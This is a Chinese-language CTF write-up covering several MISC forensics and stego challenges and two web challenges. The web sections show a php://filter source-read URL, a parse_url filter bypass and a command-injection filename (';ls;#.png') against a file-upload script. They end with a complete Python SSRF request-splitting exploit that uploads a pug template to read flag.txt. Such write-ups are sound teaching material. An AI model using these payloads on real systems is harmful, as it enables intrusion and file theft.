MISC
[watevrCTF 2019]Unspaellablle
词频分析,没有什么结果,然后看文件前面很有规律的样子,看起来像个什么文章?直接谷歌搜索到一个差不多的,不过有一点区别,链接。
然后去linux下面使用vimdiff命令查看两个文件的差别,发现把差别字符提取出来也就是flag了。
vimdiff 1.txt 2.txt
也就是watevr{icantspeel_tiny.cc/2qtdez}
。
[INSHack2018]Spreadshit
搜索空格,全部选中,发现flag:INSA{3cf6463910edffb0}
[SUCTF2018]dead_z3r0
在文件中发现pyc标志,把其提取出来,删去33 0D 0D 0A
前面的字符串进行反编译
得到
def encryt(key, plain):
cipher = ''
for i in range(len(plain)):
cipher += chr(ord(key[i % len(key)]) ^ ord(plain[i]))
return cipher
def getPlainText():
plain = ''
def main():
key = 'LordCasser'
plain = getPlainText()
cipher = encryt(key, plain)
if __name__ == '__main__':
main()
但是很奇怪的东西,可能前面的一串字符串是加密过后的东西,然后进行解密。然后想到了stegosaurus
来进行一个pyc的隐写,跑一下,得到flag。
[INSHack2017]remote-multimedia-controller
分析TCP流,在第二个包中发现flag.txt,是一个base64套娃, 最后得到flag
[BSidesSF2020]barcoder
使用StegSolve
工具,查看红色通道
然后补齐中间的条形码就可以了,我用的是win10自带的画图工具,画直线就好了,也不是很难补,耐心一点就好了,我终于是补完了^^
不过还是有点问题💔,扫不出来,下面这个是官方的条形码
扫码得到flag
[XMAN2018排位赛]ppap
追踪tcp流,发现一段base64
使用notepad++
解码保存为一张jpg,foremost分离出来了很多张图片,和两个压缩包,压缩包都是加密的,也是一样的,内容都是flag.txt,爆破了很久密码都没有爆破出来,后来在这个网站上面得到密码skullandcrossbones
,解压得到flag。
WEB
[N1CTF 2018]eating_cms
先在register.php
注册一个账号,进入之后发现地址是这样的
使用伪协议读取源码成功
/user.php?page=php://filter/convert.base64-encode/resource=index
大概可以读取到这些文件
主要分析function.php
,看下这个函数
function filter_directory()
{
$keywords = ["flag","manage","ffffllllaaaaggg"];
//有一个过滤
$uri = parse_url($_SERVER["REQUEST_URI"]);
//这里是有个parse_url函数解析漏洞,可以绕过下面的关键词检测
parse_str($uri['query'], $query);
foreach($keywords as $token)
{
foreach($query as $k => $v)
{
if (stristr($k, $token))
hacker();
if (stristr($v, $token))
hacker();
}
}
}
关于parse_url函数解析漏洞,这个漏洞是这样的,当我们输入一个不正常的url时,该函数会返回False
,例如,输入下面这种uel的时候
http://127.0.0.1//index.php?a=1
因此,这里可以通过parse_url函数解析漏洞来绕过关键词的检测,读取flag等文件,不过只有ffffllllaaaaggg
有回显,得到
<?php
if (FLAG_SIG != 1){
die("you can not visit it directly");
}else {
echo "you can find sth in m4aaannngggeee";
}
?>
继续读取m4aaannngggeee
,得到
<?php
if (FLAG_SIG != 1){
die("you can not visit it directly");
}
include "templates/upload.html";
?>
访问/templates/upload.html
,存在一个文件上传点,不过有问题,路径不太对劲。
读取一下upllloadddd.php
这个文件,得到
<?php
$allowtype = array("gif","png","jpg");
$size = 10000000;
$path = "./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/";
$filename = $_FILES['file']['name'];
if(is_uploaded_file($_FILES['file']['tmp_name'])){
if(!move_uploaded_file($_FILES['file']['tmp_name'],$path.$filename)){
die("error:can not move");
}
}else{
die("error:not an upload fileï¼");
}
$newfile = $path.$filename;
echo "file upload success<br />";
echo $filename;
$picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0");
echo "<img src='data:image/png;base64,".$picdata."'></img>";
if($_FILES['file']['error']>0){
unlink($newfile);
die("Upload file error: ");
}
$ext = array_pop(explode(".",$_FILES['file']['name']));
if(!in_array($ext,$allowtype)){
unlink($newfile);
}
?>
简单分析发现,是存在一个竞争上传漏洞和一个文件名代码执行漏洞的,可以本地构造一个表单来进行上传,也可以直接把刚刚的上传页面给改一下,像这样子
构造文件名为;ls;#.png
这样子的文件,进行上传
来写一个木马看看,不知道有没有权限
看起来是成功了,但是去ls的时候并没有发现这个文件,应该还是没有成功。
发现…/被过滤了,但是可以直接cd ..
来绕过,发现了flag,然后cat即可。
[GYCTF2020]Node Game
题目给了源码,然后还有一个上传点,不过说了只有admin
才可以用,直接上传的话会回显我们不是admin
,那么就来审计代码吧!
发现了这个
if (!ip.includes('127.0.0.1')) {
obj.msg="only admin's ip can use it"
res.send(JSON.stringify(obj));
return
}
原来是这样判断是不是管理员的,但是又是remoteaddress,我们伪造不了😅😅😅,所以是要找到一个SSRF的点,从而来进行一个文件上传。
然后看到/core
路由,关键代码在这里
if (q) {
var url = 'http://localhost:8081/source?' + q
console.log(url)
var trigger = blacklist(url);
if (trigger === true) {
res.send("<p>error occurs!</p>");
}
可以传入一个q参数,然后服务器去请求,不过有个黑名单过来查,这里就存在一个SSRF了,可以通过这个点,来进行一个拆分请求,从而可以利用刚刚的文件上传点,拆分请求SSRF参考这个链接。
文件上传中有这么一句代码
var file_path = '/uploads/' + req.files[0].mimetype +"/";
由于MIME可控,导致上传路径可控,也就是说可以进行任意目录的一个文件上传。然后是在action
参数的一个地方,会把我们上传到template
目录下面的pug文件进行一个渲染并且返回,所以说我们如果往这个目录上传文件中有一些命令的话是会执行的,这里我们使用文件包含的操作。往template
目录下面上传一个pug文件来包含在根目录下面的flag,然后通过访问?action=文件名
,来进行这个操作,返回这个flag,脚本如下
import urllib.parse
import requests
payload = ''' HTTP/1.1
POST /file_upload HTTP/1.1
Content-Type: multipart/form-data; boundary=--------------------------919695033422425209299810
Content-Length: 291
----------------------------919695033422425209299810
Content-Disposition: form-data; name="file"; filename="flag.pug"
Content-Type: ../template
doctype html
html
head
style
include ../../../../../../../flag.txt
----------------------------919695033422425209299810--
GET /flag HTTP/1.1
x:'''
payload = payload.replace("\n", "\r\n")
payload = ''.join(chr(int('0xff' + hex(ord(c))[2:].zfill(2), 16)) for c in payload)
requests.get('http://f27f3083-d48e-4e06-b1d5-8f0b2967aac8.node3.buuoj.cn/core?q=' + urllib.parse.quote(payload))
getflag = 'http://f27f3083-d48e-4e06-b1d5-8f0b2967aac8.node3.buuoj.cn/?action=flag'
res = requests.get(getflag)
print(res.text)
运行即可得到flag。